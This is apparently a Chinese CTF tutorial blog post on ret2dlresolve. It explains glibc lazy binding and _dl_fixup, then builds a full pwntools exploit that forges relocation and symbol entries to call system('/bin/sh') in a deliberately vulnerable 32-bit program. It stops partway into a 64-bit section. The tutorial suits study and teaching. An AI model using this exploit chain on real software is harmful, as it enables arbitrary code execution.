Unterhimmel-Binary cracking
剖析ret2dlresolve
Featured image of post 剖析ret2dlresolve

剖析ret2dlresolve

你说你懂动态链接?讲来听听

ret2dlresolve

ret2libc之后的进阶,动态链接的深入了解

延迟绑定技术

为避免在运行程序时加载过多的动态链接导致卡顿,操作系统实现了延迟绑定(Lazy Binding)的技术,只有在函数首次调用时才进行绑定,

如图,程序在首次执行call func@plt的时候会执行以下的部分,先到plt表,然后jmp到got表

image

如下,此时got表地址在plt表上

image

image

其实这里是jmp got到read的地址,实际上这里是extern,延迟绑定到libc中的read。而这里由于符号的缺失,我们只能知道其跳转到了libc文件中的read进行调用

而在plt表中,如果符号存在,我们拿一个文件举例子

image

如图,在jmp got后的下一条指令push了一个数字(函数在rel.plt上的便宜,reloc_arg)

之后jmp plt[0]0x8048380

image

plt[0]处先push got[1] –>即link_map(链接器标识信息),然后jmp 到got[2]处,got[2]_dl_runtime_resolve的地址

image

那么 实际上执行的就是
_dl_runtime_resolve(link_map,reloc_arg)​​

而这个函数,完成了对符号的解析,将真正write函数地址写入got表条目中后转接控制器给解析出来的函数

关键段落

image

.rel.plt是函数重定位

.rel.dyn是变量重定位

.dynsym是动态链接符号表

./dynstr是动态链接的字符串

.got是全局变量偏移表

.got.plt是全局函数偏移表

可以看出[10][11]的地方类型为rela,即重定位表

而且我们需要知道.got.plt前三项为

  • address of .dynamic
  • link_map
  • dl_runtime_resolve

_dl_fixup

在调用_dl_runtime...的时候在设置好参数后call _dl_fixup,我们进行查看

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc 
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 然后通过reloc->r_info找到.dynsym中对应的条目
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); //这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7,即重定位标志

 
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);  // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif


      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));  // value为libc基址加上要解析函数的偏移地址,也即实际地址,SYMBOL_ADDRESS() 得到偏移sym,+ result 得出最终函数地址
    }
  else
    {
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); // 最后把value写入相应的GOT表条目中
}

关键部分已经标出注释

_dl_fixup函数调用了_dl_lookup_symbol_x函数,最终这个函数去动态库找到延迟绑定函数填写到了got.plt表项中

_dl_runtime_resolve函数运作流程

dynamic段落

首先.dynamic里面保存了动态链接器所需要基本信息。

例如.dynsym动态链接符号表位置,动态链接重定位表的位置、.dynstr动态链接字符串表的位置。

image

也就是现在想找到.dynsym,就必须找到.dynamic地址,因此.dynamic段就是主要用于寻找与动态链接相关的其他段(.dynsym .dynstr .rela.plt等段)以下为一个Elf32_Dyn的结构。其由一个类型值d_tag以及一个数值或指针(通过Union结构体同时定义d_vald_ptr,但是一次只存储一个值,此联合体大小4字节,整个结构体Elf32_Dyn为8字节)

1
2
3
4
5
6
7
8
9
typedef struct
{
  Elf32_Sword  d_tag;       /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;          /* Integer value */
      Elf32_Addr d_ptr;          /* Address value */
    } d_un;
} Elf32_Dyn;

动态符号表(Dynamic Symbol Table)

动态符号表中存储了与动态链接(这些函数会进行动态链接)相关的符号,段名被称为.dynsym,而对于本模块的内部符号或者私有变量保存在了.symtab这个表,symtab保存了所有符号(包括.dynsym中的)

image

image

动态符号字符串表(Dynamic String Table)

跟名字一样,其为保存了符号名的字符串表,其存在的意义巍是由于Dynamic Symbol Table中记录的固定长度的内容无法描述二进制文件中的任意字符串,因此再次创立了一个表.dynstr,用于存储函数名称的字符串,在.dynsym中的.st_name字段存储了偏移,最后由.dynstr首地址加上偏移找到对能够符号名称。

最后的最后,由_dl_lookup函数拿着这个符号的名称去动态链接库搜索对应函数

image

在Ida中也能看到ELF String Table

_dl_runtime_resolve的运行模式总结

  1. 使用link_map(_dl_runtime_resolvehand的第一个参数)访问.dynamic,取出.dynstr .dynsym .rel.plt地址
  2. .rel.plt+relic_index,求得当前函数重定位表项Elf32_Rel指针,记为rel
  3. rel->r_info >> 8作为.dynsym下标,并求出当前函数符号表项Elf32_sym指针,记作sym
  4. .dynstr+sym->st_name的到符号名,字符串指针
  5. 动态链接库查找该函数地址,赋给*rel->r_offset,即GOT
  6. 调用函数

在下文有更详细的解析

测试

32位

调试

延迟绑定图如下

image

以read函数为例

image

可以看到刚要进入read,我们就jmp到了0x804c004,下一条指令便对应了上图提到的延迟绑定的步骤2

跳转到plt表,并push了一个0x8然后跳转到了0x8049020,不难发现这是一个很贴近的地址,实际上此时处于步骤4

而在jmp到0x8049020后,再次执行了pushjmp。查看内容

image

因此我们现在知道了,之前push压栈的两个是参数,第二次push也就是栈顶的0x804bff8是参数**link_map **指针。0x8则是参数reloc_index

因此我们可以先通过了link_map找到.dynamic地址,图中第三个地址就是.dynamic地址

0x0804bf00

image

那么link_map到底是怎么访问到.dynamic地址的?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;    /* Base address shared object is loaded at.  */
    char *l_name;     /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;      /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
};

我们发现第三个*l_ld在这里存储的是Dynamic段地址,也因此我们查找link_map结构体中第三个地址也就是.dynamic地址了

而根据_dl_runtime_resolve的运行模式总结 ,这里要取出.dynstr .dynsym以及.rel.plt的地址了。可以查看一下他们的所处地址

分别位于.dynamic段偏移9 10 17的位置,我们知道Elf32_Dyn为8字节,并且实际值or指针位于后四字节。因此他们应该处于8*9-4=0x44 8*10-4=0x4c 8*17-4=0x84的偏移处(这里-4是因为要去除当前所属位置的偏移)

最后用.rel.plt的值加上参数reloc_index,就是重定位表项Elf32_Rel的指针,也就是0x080483b4+0x8=0x080483bc

然后是Elf32_Rel结构体,对应r_offset0x804c004.got.plt的地址,也就是最后解析之后会填入真实的地址的地方),r_info=0x207。

r_info>>8=0x2,作为.dynsym的下标(从0开始算的)

1
2
3
4
5
6
// _dl_runtime_resolve的结构体
typedef struct
{
  Elf32_Addr   r_offset;     /* Address */
  Elf32_Word   r_info;          /* Relocation type and symbol index */
} Elf32_Rel;

image

Elf32_Sym源码如下

1
2
3
4
5
6
7
8
9
typedef struct
{
  Elf32_Word   st_name;      /* Symbol name (string tbl index) */
  Elf32_Addr   st_value;     /* Symbol value */
  Elf32_Word   st_size;      /* Symbol size */
  unsigned char    st_info;      /* Symbol type and binding */
  unsigned char    st_other;     /* Symbol visibility */
  Elf32_Section    st_shndx;     /* Section index */
} Elf32_Sym;

第一个成员名st_name存储.dynstr表所需要索引(也可以说是偏移),在gdb查看(也可以算)

image

在下方的.dynstr基址加上索引,得到0x080482E0,找到read名字存储地址

image

接下来调用_dl_lookup_symbol_x函数,到动态库遍历查找

image

image

至此,read函数从动态库里读取出,使得可以被使用。

倒推过程

构成一条成熟的思考链。

首先我们需要找到函数名字(字符串,拿到该字符串首地址)。把这个名字交给_dl_lookup_symbol_x,让这个函数去动态库搜索,最后找到我们想延迟绑定的函数,写到.got.plt

如何拿到这个字符串呢?

然后知道这个字符串在.dynstr中。我们需要两个东西,

  • 一个是.dynstr的基址
  • 一个是字符串距离.dynstr基址的偏移

寻找.dynstr首地址

我们知道.dynamic段有动态链接器基本信息,其中包含.dynstr的位置,所以我们要先找到.dynamic段的地址

发现link_map结构体中第三个内容存放的就是.dynamic的地址

那么我们只要查看link_map内容,然后第三个就是我们要的东西。link_map呢就是执行_dl_runtime_resolve函数的第一个参数link_map_obj。从这里开始再顺着正推就可以找到了.dynstr

思维导图

.dynstr相对的偏移怎么找

我们发现Elf32_Sym源码中每一个结构体第一个成员就存储了我们要找的偏移,而这个结构又存储在.dynsym(即动态符号表)中(每个函数都有一个单独的Elf32_sym结构)

因此我们可以在.dynsym中找到我们想要的Elf32_Sym结构,但是此时又引出了两个问题

  1. 每个函数都有一个这个结构,那么怎么到.dynsym中找到我们想要的函数结构
  2. .dynsym的地址怎么找

.dynsym的地址也在.dynamic中存储了,因此其实我们拿到.dynamic段的地址的话那么.dynsym的地址实际上也可以拿到了

那么怎么到.dynsym​​中找到我们想要的函数结构?

这个结构实际上也是要拿到距离.dynsym的首地址的偏移,这个偏移需要找到.rel.plt表,这个表是Elf32_Rel结构体组成的,因此拿出第二个成员,将内容算术右移八位就是我们需要的偏移。

.rel.plt就在.dynamic段中,由于每个Elf32_Rel的结构体又都对应一个函数,我们如何找到想要的Elf32_Rel?———直接使用_dl_runtime_resolve的第二个参数reloc_index

图片来自www.cnblogs.com/ZIKH26/articles/15944406.html

image

漏洞

_dl_lookup_symbol_x函数最后去搜索字符串存在问题,因为实际上这个函数不在乎给的字符串是否是此刻正在延迟绑定的函数

也就是说,即使是别的函数的字符串,其也会去搜索,再加上_dl_runtime_resolve函数的第二个参数(r_info)即便非常大也不会被认为超过.rel.plt,也就是说可以通过修改出Elf32_Relr_info转移到一个伪造的Elf32_Sym上。

综上

我们直接伪造一个极大的****​reloc_index,让原本偏移到 .rel.plt的****​reloc_index最后偏移到我们伪造的可控内存,伪造一系列的结构使得最终****​dynstr段首的偏移指向了我们指定的字符串,至此 _dl_lookup_symbol_x会去直接搜索我们制定的函数,即使没有任何的泄漏也可以直接getshell

利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>
#include <unistd.h>

void vuln() {
  char content[0x100];
  read(0, content, 0x200);
}

int main() {
  vuln();
  return 0;
}
gcc -o test_32 ./test_32.c -m32 -no-pie -fno-stack-protector

image

演示图,来自晚秋

由于函数结束调用leave;ret,若能够覆盖ebpaddr-4,栈溢出执行迁移到了base_addr

step1-重构造read

如下图,已经构造出了在bss段的第二次read,执行一个新的read函数,这个read函数是我们最重要执行的函数,将其改为system等想要的函数

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x0804916A
    b *read
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040

read_plt = elf.plt['read']

log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))

payload = flat(
    b'a'*0x108,
    base_addr-4, read_plt,
    leave_ret, p32(0), base_addr, 0x100
) #leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
    read_plt, 0xdeadbeaf,
    0, bss+0x100, 0x100,
)
# 再一次read,
se(payload)
ia()

step2 模拟plt表的绑定过程

观察plt表,实际上为如下两条指令,发现实际上是push 8后跳转到了一个函数,该函数则为dl_runtime_resolve的函数。所以我们模拟plt表绑定过程去往栈上写入内容。在栈上手动写一个8,然后跳转到该函数0x08049040

image

据此我们再次修改,将原本的read_plt改为resolve并放入8

1
2
3
4
payload = flat(
    start_resolve, 8, 0xdeadbeef,
    0, bss+0x100, 0x100,
)

step3 伪造reloc_index

现在我们准备开始ret2dlresolve吧。回过头去看看演示图,来自晚秋。

实际上我们往栈上push了一个0x8,实际上这就是图里面的reloc_index

0x8是什么?–其实我一开始也不知道

image

如图,我们在.init之前可以看到加载段,而0x8实际上是.rel.plt段的基地址和write函数的Elf32_Rel结构体的偏移

.rel.plt就是红框中的内容,其由函数的Elf32_Rel结构体组成。结构体的定义如下

1
2
3
4
5
struct Elf32_Rel
{
  unsigned __int32 r_offset; //图里为0x804c004
  unsigned __int32 r_info; //0x207
};

如果我们伪造到栈上,往栈上push的值不再是0x8,不难想到,因为0x8是原来的结构体和.rel.plt基地址的偏移,因此我们需要计算我们伪造的结构体和.rel.plt基地址的差,替换掉原本的0x8

.rel.plt的基地址从图里面就可看到–0x080483B4

也可以用pwntools查看

1
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

修改后:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
read_plt = elf.plt['read']

payload = flat(
    b'a'*0x108,
    base_addr-4, read_plt,
    leave_ret, p32(0), base_addr, 0x200
)  # leave_ret后跳转到base_addr然后开始执行read
se(payload)


fake_struct = p32(0x804c004)+p32(207) #伪造的Elf32_Rel
# payload = flat(
#     start_resolve, 8, 0xdeadbeef,
#     0, bss+0x200, 0x200,
# )
payload = flat(
    start_resolve, p32(base_addr+0x10-rel_plt), 0xdeadbeef, #这里start_resolve开始重定位
 	# 第一个参数就是push的参数,其为reloc_index
    0, bss+0x100, 0x100,
    fake_struct
)

step4 伪造.dynsym

实际上我们就是在一步步伪造演示 图的所有结构体,在step3我们伪造了.rel.plt结构体,接下来轮到了.dynsym结构体,而程序找到这个结构体是对.dynsym基地址来通过上一步讲到的Elf32_Rel结构体中r_info>>8当作偏移得到

  1. | 0x7: 最低 8 位填入重定位类型:类型 7R_386_JUMP_SLOT

通过readelf后我们定位到.dynsym

image

image

如图就是我们跳转后找到的部分

image

这里可以计算得到st_name距离基地址偏移是0x20

可以t跳转到结构体界面,上一节中知道r_info0x207,右移八位得到2,即Elf32_sym中的第二个结构体:这里是aRead从0开始算

1
2
3
4
5
6
7
8
9
struct Elf32_Sym
{
  unsigned __int32 st_name __offset(OFF32,0x80482D0); // 四字节,计算得到偏移为0x10
  unsigned __int32 st_value __off; // 四字节,0
  unsigned __int32 st_size; // 四字节,0 
  unsigned __int8(char) st_info; //一字节,0x12
  unsigned __int8(char) st_other; //一字节,0
  unsigned __int16 st_shndx; //二字节,0
};

注意两点

  • Elf32_Syn结构体要求地址对齐,例如这里是0x…0结尾的,那么伪造的结构体也要以0x..0结尾
  • r_info计算方式为伪造结构体基地址减dynsym的基地址作为下标(即索引),左移八位 (符号索引移动到高二十四位)后或上0x7(类型必须为7),r_info以此我们计算出symtab中的index并且保存类型
    我们不难看出这是十六字节的大小,这里我们看一下
1
2
dynsym=elf.get_section_by_name(".dynsym").header.sh_addr
r_info = (((base_addr + 0x10 - dynsym) // 0x10) << 8) | 0x7 # /0x10是因为SYMENT指明大小为十六字节

修改后信息如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
r_info = (((base_addr+0x10-dynsym)//0x10) << 8) | 0x7

log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']

payload = flat(
    b'a'*0x108,
    base_addr-4, read_plt,
    leave_ret, p32(0), base_addr, 0x200
)  # leave_ret后跳转到base_addr然后开始执行read
se(payload)

# fake_struct = p32(0x804c004)+p32(207)
fake_struct = p32(0x804c004)+p32(r_info)  # 伪造elf32_rel
# payload = flat(
#     start_resolve, 8, 0xdeadbeef,
#     0, bss+0x200, 0x200,
# )
payload = flat(
    start_resolve, p32(base_addr+24), 0xdeadbeef, #p32-->4*6
    0, bss+0x200, 0x200, #这里还只是伪造read
    fake_struct,
    b'a'*(0x10-((fake_struct-dynsym)&0xf),  # Elf32_sym结构体为16字节,在填充后地址还要和16字节对齐
    0x20, 0, 0, 0x12
)
# 再一次read,
se(payload)

step5 伪造dynstr

这个表就是保存了符号名的字符串表。而这个表存在的意义是由于Dynamic Symbol Table里记录的都是固定长度的内容,因此它们没办法去描述二进制文件中的任意字符串(也就是我们的函数名称),因此就需要再创立一个表(也就是.dynstr)来存储函数名称的字符串,在.dynsym中的.st_name字段存储了一个偏移,而最后.dynstr段的首地址加上这个偏移量才能找到符号的名称。而_dl_lookup函数最后就是拿着这个符号的名称(也就是函数的名称)去动态链接库里面搜索对应的函数。

我们已经从右往做完成了dynsym的伪造,接下来我们就要在栈上再协议次假的read函数名字符串。

这个偏移本身来自于Elf32_Sym结构体中的st_name,在我们这里就是0x20

image

修改完如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x8049199 
    b *read
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
start_resolve = elf.get_section_by_name(".plt").header.sh_addr

# 初始化所需的段首地址

bss = elf.bss()
base_addr = bss+0x800  # 这里要最后一位对齐
leave_ret = 0x080490d6
start_resolve = 0x08049020  # .plt中的第一个函数,调用这个函数会进入动态链接器
r_info = (((base_addr+0x20-dynsym)//0x10) << 8) | 0x7


log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']
fake_sym_addr = base_addr+32  # fake_sym_addr为Elf32_Sym结构首地址,这里是根据下面计算的4*8=32
align = 0x10-((fake_sym_addr-dynsym) & 0xf)  # Elf32_Sym结构为16字节,因此地址和16字节对齐
# 只取最后一位,二者地址放在一个结构中,最后求出fake_sym_addr距离16字节差的字节数
# 使用dynsym是因为dynsym是对齐的,可以用来做对齐的表
fake_sym_addr += align  # 其实就是进行十六字节补齐,payload中也写入align
log.info(VIO_TEXT(f"fake_sym_addr:{hex(fake_sym_addr)}"))
log.info(VIO_TEXT(f"align:{hex(align)}"))
st_name = fake_sym_addr+0x10-dynstr  # 这个是字符串在dynstr中的偏移
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)  # 0x12=st_info

r_offset = elf.got['read']  # 重定位表项中r_offset为got中read的地址,也是最后写入的真实地址的地方
log.info(VIO_TEXT(f"r_offset:{hex(r_offset)}"))
# 重定位表项中r_info的高位为符号表的索引,并且Elf32_sym大小16字节
r_sym = (fake_sym_addr-dynsym)//0x10

r_type = 0x7  # 0x7是重定位的一种类型,指的是导入函数,进入_dl_fixup函数里面,还会检查这是不是0x7
r_info = (int(r_sym) << 8)+r_type  # 重定位表项中r_info的值
reloc_index = base_addr-rel_plt+24  # 这里+24要看实际伪造rel.plt距离base_addr偏移
fake_rel_plt = p32(r_offset)+p32(r_info)  # 伪造rel.plt

payload = flat(
    b'a'*0x108,
    base_addr-4, read_plt, leave_ret,
    p32(0), base_addr, p32(0x100)
).ljust(0x200, b'\x00')  # leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
    p32(start_resolve), p32(reloc_index),  # 构成read_plt
    p32(0xdeadbeef), p32(base_addr+80),  # 80放置/bin/sh
    b'bbbb', b'bbbb',  # 垃圾参数,填充伪造的read参数
    fake_rel_plt,
    b'a'*align,
    fake_sym,
    b'system\x00',
)
payload += (80-len(payload))*b'a'+b'/bin/sh\x00'
payload = payload.ljust(0x100, b'\x00')
se(payload)
ia()

image

64位

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main(){
    char content[0x100];
    read(0, content, 0x180);
    return 0;
}

gcc ./pwn -o pwn -no-pie -fno-stack-protector -z norelro

所以,Elf64_Sym 的大小为 24 个字节。

Elf64_Sym结构体

1
2
3
4
5
6
7
8
9
typedef struct
{
  Elf64_Word        st_name;                /* Symbol name (string tbl index)  32位*/ 
  unsigned char        st_info;                /* Symbol type and binding */
  unsigned char st_other;                /* Symbol visibility */
  Elf64_Section        st_shndx;                /* Section index  16位*/
  Elf64_Addr        st_value;                /* Symbol value 64位*/
  Elf64_Xword        st_size;                /* Symbol size 64位*/
} Elf64_Sym;

并且在64位plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。

Elf_Rel 结构体,增加了 r_addend

1
2
3
4
5
typedef struct{  
    Elf64_Addr r_offset;        /* Address */  
    Elf64_Xword    r_info;            /* Relocation type and symbol index */  
    Elf64_Sxword r_addend;        /* Addend */
}Elf64_Rela;

如果是直接像 32 位的做法直接伪造 realoc_index,那么会因为 _dl_fixup 函数执行时候访问到错误的内存地址而奔溃

结合_dl_fixup进行源码分析,如glibc-2.23/elf/dl-runtime.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
 
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
 
  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7
 
   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测检查sym结构体中的st_other是否为0正常情况下为0执行下面代码
    {
      const struct r_found_version *version = NULL;
    // 这里也是一层检测检查link_map中的DT_VERSYM是否为NULL正常情况下不为NULL执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      //到了这里就是64位下报错的位置在计算版本号时vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中由于我们一般伪造的symtab位于bss段
	  //就导致在64位下reloc->r_info比较大,故程序会发生错误所以要使程序不发生错误自然想到的办法就是不执行这里的代码分析上面的代码我们就可以得到两种手段
	  //第一种手段就是使上一行的if不成立也就是设置link_map中的DT_VERSYM为NULL那我们就要泄露出link_map的地址而如果我们能泄露地址根本用不着ret2dlresolve
      //第二种手段就是使最外层的if不成立也就是使sym结构体中的st_other不为0直接跳到后面的else语句执行
      const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }
 
      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
